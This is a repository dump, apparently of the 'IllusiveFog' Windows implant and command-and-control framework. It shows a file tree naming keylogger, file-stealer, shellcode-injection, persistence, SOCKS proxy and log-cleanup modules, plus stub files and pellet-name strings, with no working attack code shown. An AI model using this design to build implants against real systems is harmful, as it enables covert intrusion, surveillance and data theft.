├── srvfin ├── modules │ ├── __init__.py │ ├── etw │ │ └── __init__.py │ ├── evtx │ │ └── __init__.py │ ├── recon │ │ └── __init__.py │ ├── wnf │ │ └── __init__.py │ ├── FileFetcher │ │ └── __init__.py │ └── persistence │ │ └── __init__.py ├── support │ ├── __init__.py │ ├── libs │ │ ├── __init__.py │ │ └── crypto │ │ │ ├── __init__.py │ │ │ └── aes │ │ │ └── __init__.py │ ├── signatures │ │ └── __init__.py │ ├── IllusiveFog.db │ └── db_bkp │ │ └── IllusiveFog.db ├── requirement.txt └── pages │ └── decoy.html ├── client ├── shared │ ├── network │ │ ├── Header.h │ │ └── ntwrkcomms.h │ ├── crypto │ │ ├── aes.c │ │ ├── hex.h │ │ └── hex.c │ ├── msvc │ │ └── msvcrt.lib │ ├── common │ │ ├── allocation.h │ │ ├── stringconvert.h │ │ ├── allocation.c │ │ ├── stringconvert.c │ │ └── reporter.c │ └── customcrt │ │ └── crtstring.h ├── Load │ └── common.h ├── FileStealer │ └── common.h ├── injShellcode │ └── common.h ├── bit7z-3.1.5 │ └── bit7z-3.1.5 │ │ ├── .github │ │ ├── ISSUE_TEMPLATE │ │ │ └── config.yml │ │ └── FUNDING.yml │ │ ├── lib │ │ └── 7zSDK │ │ │ ├── CPP │ │ │ ├── 7zip │ │ │ │ ├── Bundles │ │ │ │ │ ├── Alone │ │ │ │ │ │ ├── afxres.h │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ ├── resource.rc │ │ │ │ │ │ └── Alone.dsw │ │ │ │ │ ├── SFXWin │ │ │ │ │ │ ├── resource.h │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── 7z.ico │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ └── SFXWin.dsw │ │ │ │ │ ├── Fm │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── resource.rc │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ └── FM.dsw │ │ │ │ │ ├── Alone2 │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ └── resource.rc │ │ │ │ │ ├── Alone7z │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ ├── resource.rc │ │ │ │ │ │ └── Alone.dsw │ │ │ │ │ ├── LzmaCon │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── resource.rc │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ └── LzmaCon.dsw │ │ │ │ │ ├── SFXCon │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── resource.rc │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ ├── 7z.ico │ │ │ │ │ │ └── SFXCon.dsw │ │ │ │ │ ├── Format7z │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ └── resource.rc │ │ │ │ │ ├── Format7zF │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ ├── makefile │ │ │ │ │ │ └── Format7z.dsw │ │ │ │ │ ├── Format7zR │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ └── resource.rc │ │ │ │ │ ├── SFXSetup │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── setup.ico │ │ │ │ │ │ ├── resource.h │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ ├── ExtractEngine.h │ │ │ │ │ │ ├── resource.rc │ │ │ │ │ │ └── SFXSetup.dsw │ │ │ │ │ ├── Format7zExtract │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ └── resource.rc │ │ │ │ │ ├── Format7zExtractR │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ └── resource.rc │ │ │ │ │ └── makefile │ │ │ │ ├── Archive │ │ │ │ │ ├── 7z │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── 7zCompressionMode.cpp │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ ├── resource.rc │ │ │ │ │ │ ├── 7zProperties.h │ │ │ │ │ │ ├── 7zRegister.cpp │ │ │ │ │ │ ├── 7zHeader.cpp │ │ │ │ │ │ ├── 7z.dsw │ │ │ │ │ │ └── 7zSpecStream.cpp │ │ │ │ │ ├── Rar │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ └── StdAfx.h │ │ │ │ │ ├── DeflateProps.cpp │ │ │ │ │ ├── Common │ │ │ │ │ │ ├── ParseProperties.cpp │ │ │ │ │ │ ├── ParseProperties.h │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ ├── FindSignature.h │ │ │ │ │ │ ├── DummyOutStream.cpp │ │ │ │ │ │ ├── OutStreamWithCRC.cpp │ │ │ │ │ │ ├── OutStreamWithSha1.cpp │ │ │ │ │ │ └── DummyOutStream.h │ │ │ │ │ ├── DeflateProps.h │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ ├── Cab │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ ├── CabRegister.cpp │ │ │ │ │ │ ├── CabHeader.cpp │ │ │ │ │ │ └── CabHandler.h │ │ │ │ │ ├── Chm │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ └── ChmHandler.h │ │ │ │ │ ├── Iso │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ ├── IsoHeader.cpp │ │ │ │ │ │ ├── IsoRegister.cpp │ │ │ │ │ │ └── IsoHandler.h │ │ │ │ │ ├── Tar │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ ├── TarRegister.cpp │ │ │ │ │ │ └── TarIn.h │ │ │ │ │ ├── Udf │ │ │ │ │ │ └── StdAfx.h │ │ │ │ │ ├── Wim │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ └── WimRegister.cpp │ │ │ │ │ ├── Zip │ │ │ │ │ │ └── StdAfx.h │ │ │ │ │ ├── Icons │ │ │ │ │ │ ├── z.ico │ │ │ │ │ │ ├── 7z.ico │ │ │ │ │ │ ├── arj.ico │ │ │ │ │ │ ├── bz2.ico │ │ │ │ │ │ ├── cab.ico │ │ │ │ │ │ ├── deb.ico │ │ │ │ │ │ ├── dmg.ico │ │ │ │ │ │ ├── fat.ico │ │ │ │ │ │ ├── gz.ico │ │ │ │ │ │ ├── hfs.ico │ │ │ │ │ │ ├── iso.ico │ │ │ │ │ │ ├── lzh.ico │ │ │ │ │ │ ├── rar.ico │ │ │ │ │ │ ├── rpm.ico │ │ │ │ │ │ ├── tar.ico │ │ │ │ │ │ ├── vhd.ico │ │ │ │ │ │ ├── wim.ico │ │ │ │ │ │ ├── xar.ico │ │ │ │ │ │ ├── xz.ico │ │ │ │ │ │ ├── zip.ico │ │ │ │ │ │ ├── cpio.ico │ │ │ │ │ │ ├── lzma.ico │ │ │ │ │ │ ├── ntfs.ico │ │ │ │ │ │ ├── split.ico │ │ │ │ │ │ └── squashfs.ico │ │ │ │ │ ├── Nsis │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ └── NsisRegister.cpp │ │ │ │ │ ├── XzHandler.h │ │ │ │ │ ├── Archive.def │ │ │ │ │ ├── makefile │ │ │ │ │ └── Archive2.def │ │ │ │ ├── Common │ │ │ │ │ ├── MethodId.cpp │ │ │ │ │ ├── LockedStream.cpp │ │ │ │ │ ├── LockedStream.h │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ ├── MethodId.h │ │ │ │ │ ├── FilePathAutoRename.h │ │ │ │ │ ├── StreamUtils.h │ │ │ │ │ ├── UniqBlocks.h │ │ │ │ │ ├── OffsetStream.h │ │ │ │ │ └── VirtThread.h │ │ │ │ ├── UI │ │ │ │ │ ├── Console │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ ├── resource.rc │ │ │ │ │ │ ├── BenchCon.h │ │ │ │ │ │ ├── UserInputUtils.h │ │ │ │ │ │ ├── Console.dsw │ │ │ │ │ │ └── ConsoleClose.h │ │ │ │ │ ├── Far │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── resource.rc │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ ├── Far.dsw │ │ │ │ │ │ ├── Far.def │ │ │ │ │ │ └── OverwriteDialogFar.h │ │ │ │ │ ├── GUI │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── resource2.h │ │ │ │ │ │ ├── FM.ico │ │ │ │ │ │ ├── resource2.rc │ │ │ │ │ │ ├── resource3.h │ │ │ │ │ │ ├── resource3.rc │ │ │ │ │ │ ├── BenchmarkDialog.h │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ └── GUI.dsw │ │ │ │ │ ├── Client7z │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── resource.rc │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ ├── makefile │ │ │ │ │ │ └── Client7z.dsw │ │ │ │ │ ├── Explorer │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── MenuLogo.bmp │ │ │ │ │ │ ├── Explorer.def │ │ │ │ │ │ ├── resource.rc │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ ├── RegistryContextMenu.h │ │ │ │ │ │ ├── MyMessages.h │ │ │ │ │ │ ├── 7-zip.dll.manifest │ │ │ │ │ │ ├── resource.h │ │ │ │ │ │ ├── Explorer.dsw │ │ │ │ │ │ └── resource2.rc │ │ │ │ │ ├── FileManager │ │ │ │ │ │ ├── StdAfx.cpp │ │ │ │ │ │ ├── EditDialogRes.h │ │ │ │ │ │ ├── ListViewDialogRes.h │ │ │ │ │ │ ├── ProgramLocation.cpp │ │ │ │ │ │ ├── ProgressDialogRes.h │ │ │ │ │ │ ├── ComboDialogRes.h │ │ │ │ │ │ ├── MessagesDialogRes.h │ │ │ │ │ │ ├── ProgramLocation.h │ │ │ │ │ │ ├── FM.ico │ │ │ │ │ │ ├── Add.bmp │ │ │ │ │ │ ├── Add2.bmp │ │ │ │ │ │ ├── Copy.bmp │ │ │ │ │ │ ├── Copy2.bmp │ │ │ │ │ │ ├── Info.bmp │ │ │ │ │ │ ├── Info2.bmp │ │ │ │ │ │ ├── Move.bmp │ │ │ │ │ │ ├── Move2.bmp │ │ │ │ │ │ ├── Test.bmp │ │ │ │ │ │ ├── Test2.bmp │ │ │ │ │ │ ├── Delete.bmp │ │ │ │ │ │ ├── Delete2.bmp │ │ │ │ │ │ ├── Extract.bmp │ │ │ │ │ │ ├── 7zipLogo.ico │ │ │ │ │ │ ├── Extract2.bmp │ │ │ │ │ │ ├── PasswordDialogRes.h │ │ │ │ │ │ ├── HelpUtils.h │ │ │ │ │ │ ├── LangPageRes.h │ │ │ │ │ │ ├── CopyDialogRes.h │ │ │ │ │ │ ├── SplitDialogRes.h │ │ │ │ │ │ ├── AboutDialogRes.h │ │ │ │ │ │ ├── PropertyName.h │ │ │ │ │ │ ├── BrowseDialogRes.h │ │ │ │ │ │ ├── EnumFormatEtc.h │ │ │ │ │ │ ├── ClassDefs.cpp │ │ │ │ │ │ ├── SystemPageRes.h │ │ │ │ │ │ ├── EditPage.rc │ │ │ │ │ │ ├── MenuPageRes.h │ │ │ │ │ │ ├── StringUtils.h │ │ │ │ │ │ ├── ComboDialog.rc │ │ │ │ │ │ ├── FormatUtils.h │ │ │ │ │ │ ├── ProgressDialog.rc │ │ │ │ │ │ ├── SettingsPage.rc │ │ │ │ │ │ ├── EditDialog.rc │ │ │ │ │ │ ├── EditPageRes.h │ │ │ │ │ │ ├── MenuPage.rc │ │ │ │ │ │ ├── DialogSize.h │ │ │ │ │ │ ├── FoldersPageRes.h │ │ │ │ │ │ ├── ListViewDialog.rc │ │ │ │ │ │ ├── FoldersPage.rc │ │ │ │ │ │ ├── SplitUtils.h │ │ │ │ │ │ ├── MessagesDialog.rc │ │ │ │ │ │ ├── PasswordDialog.rc │ │ │ │ │ │ ├── AboutDialog.h │ │ │ │ │ │ ├── PropertyName.cpp │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ ├── resourceGui.h │ │ │ │ │ │ ├── CopyDialog.rc │ │ │ │ │ │ ├── FilePlugins.h │ │ │ │ │ │ ├── FM.dsw │ │ │ │ │ │ ├── SplitDialog.rc │ │ │ │ │ │ ├── FileFolderPluginOpen.h │ │ │ │ │ │ ├── LinkDialogRes.h │ │ │ │ │ │ ├── OverwriteDialogRes.h │ │ │ │ │ │ ├── resourceGui.rc │ │ │ │ │ │ ├── EditDialog.h │ │ │ │ │ │ ├── RootFolder.h │ │ │ │ │ │ ├── LangPage.h │ │ │ │ │ │ ├── SettingsPageRes.h │ │ │ │ │ │ ├── FormatUtils.cpp │ │ │ │ │ │ ├── HelpUtils.cpp │ │ │ │ │ │ └── EditPage.h │ │ │ │ │ ├── Agent │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ └── UpdateCallbackAgent.h │ │ │ │ │ ├── Common │ │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ │ ├── SortUtils.h │ │ │ │ │ │ ├── Property.h │ │ │ │ │ │ ├── SetProperties.h │ │ │ │ │ │ ├── ArchiveName.h │ │ │ │ │ │ ├── DefaultName.h │ │ │ │ │ │ ├── TempFiles.h │ │ │ │ │ │ ├── TempFiles.cpp │ │ │ │ │ │ ├── ExtractMode.h │ │ │ │ │ │ ├── WorkDir.h │ │ │ │ │ │ └── UpdatePair.h │ │ │ │ │ └── makefile │ │ │ │ ├── SubBuild.mak │ │ │ │ ├── MyVersion.h │ │ │ │ ├── MyVersionInfo.rc │ │ │ │ ├── Compress │ │ │ │ │ ├── ImplodeHuffmanDecoder.cpp │ │ │ │ │ ├── makefile │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ ├── ImplodeHuffmanDecoder.h │ │ │ │ │ ├── Codec.def │ │ │ │ │ ├── XpressDecoder.h │ │ │ │ │ ├── LzOutWindow.cpp │ │ │ │ │ ├── BcjRegister.cpp │ │ │ │ │ ├── CopyRegister.cpp │ │ │ │ │ ├── LzmaRegister.cpp │ │ │ │ │ ├── PpmdRegister.cpp │ │ │ │ │ ├── Lzma2Register.cpp │ │ │ │ │ ├── BranchMisc.cpp │ │ │ │ │ ├── BcjCoder.cpp │ │ │ │ │ ├── BitlDecoder.cpp │ │ │ │ │ ├── Bcj2Register.cpp │ │ │ │ │ ├── BZip2Register.cpp │ │ │ │ │ ├── BZip2Crc.cpp │ │ │ │ │ ├── BcjCoder.h │ │ │ │ │ ├── DeflateRegister.cpp │ │ │ │ │ ├── DllExports2Compress.cpp │ │ │ │ │ └── Deflate64Register.cpp │ │ │ │ ├── cmpl_gcc.mak │ │ │ │ ├── cmpl_clang.mak │ │ │ │ ├── cmpl_gcc_x64.mak │ │ │ │ ├── cmpl_gcc_x86.mak │ │ │ │ ├── cmpl_clang_x64.mak │ │ │ │ ├── cmpl_clang_x86.mak │ │ │ │ ├── cmpl_gcc_arm64.mak │ │ │ │ ├── cmpl_mac_x64.mak │ │ │ │ ├── cmpl_clang_arm64.mak │ │ │ │ ├── cmpl_mac_arm64.mak │ │ │ │ ├── Crypto │ │ │ │ │ ├── Codec.def │ │ │ │ │ ├── StdAfx.h │ │ │ │ │ ├── 7zAesRegister.cpp │ │ │ │ │ ├── Pbkdf2HmacSha1.h │ │ │ │ │ └── HmacSha256.h │ │ │ │ ├── makefile │ │ │ │ ├── LzmaDec.mak │ │ │ │ ├── LzFindOpt.mak │ │ │ │ ├── var_gcc_x64.mak │ │ │ │ ├── var_clang.mak │ │ │ │ ├── var_gcc_x86.mak │ │ │ │ ├── var_gcc.mak │ │ │ │ ├── var_clang_arm64.mak │ │ │ │ ├── var_clang_x64.mak │ │ │ │ ├── var_clang_x86.mak │ │ │ │ ├── var_mac_arm64.mak │ │ │ │ ├── var_mac_x64.mak │ │ │ │ ├── LzmaDec_gcc.mak │ │ │ │ ├── Crc.mak │ │ │ │ ├── Crc64.mak │ │ │ │ ├── var_gcc_arm64.mak │ │ │ │ ├── Asm.mak │ │ │ │ ├── Aes.mak │ │ │ │ ├── IProgress.h │ │ │ │ ├── Sha1.mak │ │ │ │ └── Sha256.mak │ │ │ ├── Common │ │ │ │ ├── C_FileIO.cpp │ │ │ │ ├── MyVector.cpp │ │ │ │ ├── C_FileIO.h │ │ │ │ ├── StdAfx.h │ │ │ │ ├── CRC.cpp │ │ │ │ ├── Sha1Prepare.cpp │ │ │ │ ├── XzCrc64Init.cpp │ │ │ │ ├── LzFindPrepare.cpp │ │ │ │ ├── Sha256Prepare.cpp │ │ │ │ ├── Random.h │ │ │ │ ├── MyUnknown.h │ │ │ │ ├── MyException.h │ │ │ │ ├── Lang.h │ │ │ │ ├── ListFileUtils.h │ │ │ │ ├── Random.cpp │ │ │ │ ├── TextConfig.h │ │ │ │ ├── Defs.h │ │ │ │ ├── ComTry.h │ │ │ │ └── MyMap.h │ │ │ └── Windows │ │ │ │ ├── StdAfx.h │ │ │ │ ├── Control │ │ │ │ ├── StdAfx.h │ │ │ │ ├── ImageList.cpp │ │ │ │ ├── Edit.h │ │ │ │ └── Trackbar.h │ │ │ │ ├── Console.cpp │ │ │ │ ├── FileMapping.cpp │ │ │ │ ├── ProcessMessages.h │ │ │ │ ├── ErrorMsg.h │ │ │ │ ├── ResourceString.h │ │ │ │ ├── SystemInfo.h │ │ │ │ ├── ProcessMessages.cpp │ │ │ │ ├── NationalTime.h │ │ │ │ ├── Defs.h │ │ │ │ ├── Clipboard.h │ │ │ │ ├── CommonDialog.h │ │ │ │ └── FileSystem.h │ │ │ └── C │ │ │ ├── Util │ │ │ ├── LzmaLib │ │ │ │ ├── LzmaLib.def │ │ │ │ ├── resource.rc │ │ │ │ ├── LzmaLibExports.c │ │ │ │ ├── LzmaLib.dsw │ │ │ │ └── makefile │ │ │ ├── 7z │ │ │ │ ├── Precomp.c │ │ │ │ ├── Precomp.h │ │ │ │ ├── 7z.dsw │ │ │ │ └── makefile.gcc │ │ │ ├── SfxSetup │ │ │ │ ├── Precomp.c │ │ │ │ ├── resource.rc │ │ │ │ ├── setup.ico │ │ │ │ ├── Precomp.h │ │ │ │ ├── SfxSetup.dsw │ │ │ │ └── makefile │ │ │ ├── 7zipInstall │ │ │ │ ├── Precomp.c │ │ │ │ ├── 7zip.ico │ │ │ │ ├── Precomp.h │ │ │ │ ├── resource.h │ │ │ │ └── 7zipInstall.dsw │ │ │ ├── 7zipUninstall │ │ │ │ ├── Precomp.c │ │ │ │ ├── 7zipUninstall.ico │ │ │ │ ├── Precomp.h │ │ │ │ ├── resource.h │ │ │ │ ├── makefile │ │ │ │ └── 7zipUninstall.dsw │ │ │ └── Lzma │ │ │ │ ├── makefile.gcc │ │ │ │ ├── makefile │ │ │ │ └── LzmaUtil.dsw │ │ │ ├── var_gcc_x64.mak │ │ │ ├── var_clang.mak │ │ │ ├── var_gcc_x86.mak │ │ │ ├── var_gcc.mak │ │ │ ├── var_clang_x64.mak │ │ │ ├── Precomp.h │ │ │ ├── var_clang_arm64.mak │ │ │ ├── var_clang_x86.mak │ │ │ ├── var_mac_x64.mak │ │ │ ├── var_mac_arm64.mak │ │ │ ├── var_gcc_arm64.mak │ │ │ ├── DllSecur.h │ │ │ ├── Sort.h │ │ │ ├── 7zAlloc.h │ │ │ ├── Delta.h │ │ │ ├── HuffEnc.h │ │ │ ├── 7zBuf.c │ │ │ ├── 7zCrc.h │ │ │ ├── XzCrc64.h │ │ │ └── BwtSort.h │ │ ├── 7z.dll │ │ ├── EmbedResources.aps │ │ ├── curl │ │ ├── libcurl_a.lib │ │ └── debug │ │ │ └── libcurl_a_debug.lib │ │ ├── FileStealerPellet.aps │ │ ├── include │ │ └── bitcompressionmethod.hpp │ │ └── resource1.h ├── EVTX │ └── common.h ├── IllusiveFog │ └── aes.cpp ├── KeyLogPellet │ └── tinyaes.cpp ├── VerboseRecon(SystemInfo,NetworkInfo) │ └── common.h ├── VerboseRecon(MitigationsCheck,UpdateCheck) │ └── common.h ├── ETW │ ├── common.h │ └── ETWConsumer.h ├── KeyLog │ ├── framework.h │ └── pch.h ├── selfSocks5 │ ├── common.h │ └── selfSocks5.txt ├── Shell │ ├── Shell.h │ └── Shell.txt ├── persistence │ ├── common.h │ └── persistence.h ├── Cleanup │ └── Cleanup.h ├── Load-Pellet │ └── Load-Pellet.txt └── Persistence-Pellet │ └── Persistence-Pellet.txt ├── banner.png └── docs └── illustrations ├── Startup-Illustration.png ├── communication-illustration.png ├── plugin-launch-illustration.png └── plugin_unload_illustration.png /srvfin/modules/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /srvfin/support/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /srvfin/modules/etw/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /srvfin/modules/evtx/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /srvfin/modules/recon/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /srvfin/modules/wnf/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /srvfin/support/libs/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /srvfin/modules/FileFetcher/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /srvfin/modules/persistence/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /srvfin/support/libs/crypto/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /srvfin/support/signatures/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /srvfin/support/libs/crypto/aes/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /client/shared/network/Header.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | -------------------------------------------------------------------------------- /client/Load/common.h: -------------------------------------------------------------------------------- 1 | extern char* pellet_name = "mgmt"; -------------------------------------------------------------------------------- /client/FileStealer/common.h: -------------------------------------------------------------------------------- 1 | char* pellet_name = (char*)"toss"; -------------------------------------------------------------------------------- /client/injShellcode/common.h: -------------------------------------------------------------------------------- 1 | extern char* pellet_name = "sztex"; -------------------------------------------------------------------------------- /banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/banner.png -------------------------------------------------------------------------------- /srvfin/requirement.txt: -------------------------------------------------------------------------------- 1 | flask 2 | Flask-SQLAlchemy 3 | pycryptodome 4 | pkcs7 5 | requests 6 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/.github/ISSUE_TEMPLATE/config.yml: -------------------------------------------------------------------------------- 1 | blank_issues_enabled: true 2 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Alone/afxres.h: -------------------------------------------------------------------------------- 1 | #include 2 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXWin/resource.h: -------------------------------------------------------------------------------- 1 | #define IDI_ICON 1 2 | -------------------------------------------------------------------------------- /client/EVTX/common.h: -------------------------------------------------------------------------------- 1 | #define METHODS 3 2 | char evtx_methods[METHODS][100] = { "0x42","0x41","0x43" }; 3 | -------------------------------------------------------------------------------- /client/IllusiveFog/aes.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/IllusiveFog/aes.cpp -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/7z/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Fm/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Common/MethodId.cpp: -------------------------------------------------------------------------------- 1 | // MethodId.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Console/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Far/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/GUI/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/shared/crypto/aes.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/shared/crypto/aes.c -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Rar/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Alone/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Alone2/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Alone7z/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/LzmaCon/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXCon/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXWin/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/SubBuild.mak: -------------------------------------------------------------------------------- 1 | cd $(@D) 2 | $(MAKE) -nologo $(TARGETS) 3 | cd .. 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Client7z/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Explorer/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // StdAfx.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Common/C_FileIO.cpp: -------------------------------------------------------------------------------- 1 | // Common/C_FileIO.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Common/MyVector.cpp: -------------------------------------------------------------------------------- 1 | // Common/MyVector.cpp 2 | 3 | #include "StdAfx.h" 4 | -------------------------------------------------------------------------------- /client/shared/msvc/msvcrt.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/shared/msvc/msvcrt.lib -------------------------------------------------------------------------------- /srvfin/support/IllusiveFog.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/srvfin/support/IllusiveFog.db -------------------------------------------------------------------------------- /client/KeyLogPellet/tinyaes.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/KeyLogPellet/tinyaes.cpp -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/LzmaLib/LzmaLib.def: 